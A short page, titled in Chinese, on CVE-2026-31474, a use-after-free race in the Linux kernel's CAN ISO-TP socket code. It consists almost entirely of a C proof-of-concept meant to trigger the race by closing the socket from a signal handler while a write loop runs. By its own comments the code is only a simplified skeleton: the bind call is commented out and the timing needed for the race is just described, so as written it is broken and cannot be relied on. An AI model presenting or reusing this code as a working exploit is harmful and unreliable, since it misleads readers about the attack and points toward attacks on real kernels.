CVE-2026-31474: Linux内核isotp释放后重用漏洞

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/isotp.h> int global_sock = -1; // Signal handler to simulate interrupt during close void sigint_handler(int sig) { if (global_sock >= 0) { close(global_sock); printf("Socket closed due to signal.\n"); } } int main() { int s; struct sockaddr_can addr; struct can_isotp_fc_options fcopts; char buffer[4096]; // Register signal handler signal(SIGINT, sigint_handler); // Create CAN ISOTP socket if ((s = socket(AF_CAN, SOCK_DGRAM, CAN_ISOTP)) < 0) { perror("socket"); return 1; } global_sock = s; // Setup CAN interface (Requires vcan or real can interface) // This is a simplified PoC structure memset(&addr, 0, sizeof(addr)); addr.can_family = AF_CAN; addr.can_addr.tp.rx_id = 0x123; addr.can_addr.tp.tx_id = 0x456; // bind(s, (struct sockaddr *)&addr, sizeof(addr)); // Uncomment if interface exists printf("Starting transmission...\n"); // Simulate sending data that might trigger the race // while(isotp_sendmsg() is running) { // send signal to interrupt close() wait_event // } // In a real exploit, precise timing is needed to hit the wait_event_interruptible while(1) { // Send data loop write(s, buffer, sizeof(buffer)); usleep(1000); } return 0; }